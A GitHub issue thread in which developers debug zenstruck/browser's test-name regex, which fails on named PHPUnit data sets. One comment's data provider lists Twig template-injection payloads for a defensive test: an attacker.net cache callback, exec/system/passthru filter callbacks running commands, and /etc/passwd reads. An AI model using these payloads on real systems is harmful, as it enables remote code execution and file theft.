Undefined array key 1 when the test failed

[flohw]

Hi,

I am migrating a large code base and try to use zenstruck/browser to replace the symfony client.

I am having some trouble as I am testing my login process. It's a json api, I have no problem with my admin authentication but when I am trying to login a normal user, the test fails. I am surely not asking you to fix my test for me (but if you can without the code, you're very good :wink: )

Here is my test, I reduced the code to the minimal required here (the only thing which is not visible is that I am using a dataProvider to get $username and $password):

$response = $this->browser()
    ->post('/api/login_check', [
        'body' => [
            'username' => $username,
            'password' => $password,
        ],
    ])
    ->use(function (\Zenstruck\Browser\Response $response) {
        self::assertSame(Response::HTTP_OK, $response->statusCode());
    })
    ->response();

So the test fails at assertSame as the $response->statusCode() is 401. The problem remains the same if I change the ->use callback to a classic assertSame after the $response assignation.

The problem is that my output looks like this:

PHPUnit 9.5.0 by Sebastian Bergmann and contributors.

Testing Functional\Tests\App\Infrastructure\Symfony\Controller\LoginCheckControllerTest
Undefined array key 1

THE ERROR HANDLER HAS CHANGED!

Remaining self deprecation notices (10)

Remaining indirect deprecation notices (29)

I have no message, no file created in the var/browser/ directory so I know my test fails because I added some dd above the assertSame but I think this is not the expected behavior :wink: Also var/log/test.log has no information.

As you might imagine, it's a legacy code migration... The architecture is a bit complex but still very clean and from what I can say the legacy tests don't interfere with this new ones (as I use different test suites and only runs the suite I am interested in, plus the test above only executes one test). I might have missed something and hopefully someone could point it out? Or at least give me some advice as I don't know where to look at for now.

If the test fails outside of the browser context (my fixtures are not loaded properly for example) I get a regular phpunit error stack trace.

Thank you for your help, Please ask if I could add more information I didn't think of.

[flohw]

After some investigation with xdebug, the problem looks to be the regular expression in BrowserExtension which didn't handle data set with custom names.

Here is my data provider which I thought wouldn't be needed:

public function authentications(): \Generator
{
    yield 'as admin' => ['admin', 'password'];
    yield 'as member' => ['14-01-34', 'password'];
}

The normalizeTestName method work properly when the dataprovider don't have a name but the regular expression don't work when the data set is named.

I'll try to provide a patch :slightly_smiling_face:

[er1z]

I encountered on a case when I got:

Undefined array key 1

when running a test case with dataProvider with failure. Dug a bit deeper and found that:

App\Tests\…Test::test… with data set "asd" ('asdasd', true)

is not capture via regex of method: \Zenstruck\Browser\Test\BrowserExtension::normalizeTestName. If I debug a regex: BUT if I remove that orphan parenthesis: everything is fine, at least in regex101 but not in preg.

I guess it's added for nested arguments list but it's failing. How do we proceed with that?

PS: \preg_match('/^([\w:\\\\\]+)(.+"([\w ]+)".+?$/', $name, $matches); (after exported from regex101) works but doesn't capture the data.

[kbond]

Are you able to find a regex string that properly captures the required data?

[er1z]

First, I want to find out what this regex is about. Especially this part: (.+"([\w ]+)".+?.

[kbond]

@flohw can you shed any light here.

This is a hard issue to diagnose as we can't test it outside of real apps using it.

[flohw]

Hello :slightly_smiling_face:

This part of the regex is to catch the data provider's index when it's a string.

The regex line 123 is for numeric indexed datasets : first parenthesis matches the test name (([\w:\\\]+) : Namspaced\ClassName::test), The second part (([\w:\\\]+)(.+\#(\d+).+)?) matches everything which follows the test name (with dataset #0 <dataset representation>) the inner parenthesis of this part ((\d+)) catches the index of the dataset when there are no index provided (or index is numeric). You can dump $matches to see which group of parenthesis matches which part. Keep in mind that the zero index matches the whole regex.

If this regex doesn't match, we try to look for a string dataset line 124, spaces are allowed. Again, first parentheses matches the test name (same as above), second part matches everything which follows the test name (with dataset "datasetname" <dataset representation>), same as above except the dataset name is double quoted (that's why there are double quotes : (.+"([\w ]+)".+)?), finally the inner parenthesis ([\w ]+) is for the dataset name, which should allow any valid array key index, I guess.

I hope all theses explanations are clear. If you find a way to summarize and add it as a comment of the section, that would be appreciated even by me. :innocent: Adding named catches in the regex may be enough?

Regarding your issue, if you can provide test name and dataset name, maybe we can help to find a better regex. If your dataset index really is "asd", I really don't know why none of the regex matches. You can dd($name) in Zenstruck\Browser\Test\BrowserExtension::normalizeTestName to get a better idea of what is happening.

Late investigation on the regex: there may have an extra backslash in the first parenthesis in both cases : ([\w:\\]+) instead of ([\w:\\\]+). I used the original regex as a template for mine, this is a bit weird the error occurs now. If you look closer on regex101 how the parenthesis matches, you'll see that the first closing one (and subsequent parenthesis groups) are not highlighted as the closing bracket is escaped. But a little warning here: regex101 may interpret regex differently than php does. Maybe the php version is important too?

[kbond]

Thanks for the detailed explaination @flohw!

[balazscsaba2006]

@flohw We are using PHP 8.1. Somehow the regex is not working properly:

$browser->assertSeeIn('#main-menu > ul > li > span', 'Label')

gives us Undefined array key 1 instead it should give us:

The text "Label" was not found in the text of the element matching css "#main-menu > ul > li > a > span".

If the name is not normalized at all, it gives the correct message. We are using data providers for this particular scenario, would that be an issue maybe?

[flohw]

This is because the name normalization is required to create the error or failure log file with the response to be able to see what's happening.

The generated error looks like a what PHPUnit generates when a test fails so the regex matches partially. I'm not sure it's strictly related to the data provider but they interfere with the error generated by assertSeeIn.

I am not sure how we could solve this. I hope @kbond or @nikophil will have a quick answer for you.

Can you provide a reproducible test case? It may help.

[balazscsaba2006]

@flohw I will try to create a reproducible test; however, it might not be very soon 😞 Thank you for the quick reply.

[0x346e3730]

I lost half a day before finding this issue, got the error Undefined array key 1 in /srv/app/vendor/zenstruck/browser/src/Browser/Test/BrowserExtension.php on line 127, had to use a custom error handler to find it.

I have a test like this :

/**
 * @dataProvider templateTwigContentProvider
 */
public function testCannotCreateTemplateWithTwigPayload(string $payload): void

With the following provider :

private function templateTwigContentProvider(): Generator
{
    yield 'self' => ['te{{self}}st'];
    yield '_self.env.setCache("ftp://attacker.net:2121") _self.env.loadTemplate("backdoor")' => ['te{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}st'];
    yield '_self.env.registerUndefinedFilterCallback("exec") _self.env.getFilter("id")' => ['te{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}st'];
    yield '\'/etc/passwd\'|file_excerpt(1,30)' => ['te{{\'/etc/passwd\'|file_excerpt(1,30)}}st'];
    yield '[\'id\']|filter(\'system\')' => ['te{{[\'id\']|filter(\'system\')}}st'];
    yield '[0]|reduce(\'system\',\'id\')' => ['te{{[0]|reduce(\'system\',\'id\')}}st'];
    yield '[\'id\']|map(\'system\')|join' => ['te{{[\'id\']|map(\'system\')|join}}st'];
    yield '[\'id\',1]|sort(\'system\')|join' => ['te{{[\'id\',1]|sort(\'system\')|join}}st'];
    yield '[\'cat\x20/etc/passwd\']|filter(\'system\')' => ['te{{[\'cat\x20/etc/passwd\']|filter(\'system\')}}st'];
    yield '[\'cat$IFS/etc/passwd\']|filter(\'system\')' => ['te{{[\'cat$IFS/etc/passwd\']|filter(\'system\')}}st'];
    yield '[\'id\']|filter(\'passthru\')' => ['te{{[\'id\']|filter(\'passthru\')}}st'];
    yield '[\'id\']|map(\'passthru\')' => ['te{{[\'id\']|map(\'passthru\')}}st'];
}

Maybe before finding another regex a quick-win solution would be to trigger an exception if there is no matches to point out that the dataset's name is "wrong" ?

The error comes from $matches in the normalizeTestName method :

private static function normalizeTestName(string $name): string
{
    // Try to match for a numeric data set index. If it didn't, match for a string one.
    if (!\preg_match('#^([\w:\\\]+)(.+\#(\d+).+)?$#', $name, $matches)) {
        \preg_match('#^([\w:\\\]+)(.+"([\w ]+)".+)?$#', $name, $matches);
    }

    $normalized = \strtr($matches[1], '\\:', '-_');

    if (isset($matches[3])) {
        $normalized .= '__data-set-'.\strtr($matches[3], '\\: ', '-_-');
    }

    return $normalized;
}

[kbond]

Oi, those are complex names, what's the test name ($name var above) look like for the one that's failing?

[flohw]

Hi, Could sscanf be an easy solution? It may be incomplete if there are double quotes in test names I think. I haven't tried it, just thought about it yesterday.

[flohw]

I just found another alternative with php infection : https://github.com/infection/infection/blob/61e6d0645b89104fbd660218d3408219ad7176b5/src/TestFramework/PhpUnit/CommandLine/ArgumentsAndOptionsBuilder.php#L126 The method is called at line 98 of the same class and the first parameter is the second element of the array created line 95.

I just put some note for now. I hope to be able to look on the different solution in the coming weeks while we update our project.

[kbond]

@raneomik added some tests for the parsing of the test names in #137. Once merged, let's add these permutations to the data provider and figure it out!

[flohw]

We work at the same place, actually and we exchanged about that. :wink: I should be able to test the PR and the ideas I left here in the next two weeks while updating the project I am working on.

[kbond]

That PR is now merged so hopefully now that we have tests, we can solve this once and for all. We should add some of @0x346e3730's data provider names as they are mighty complex!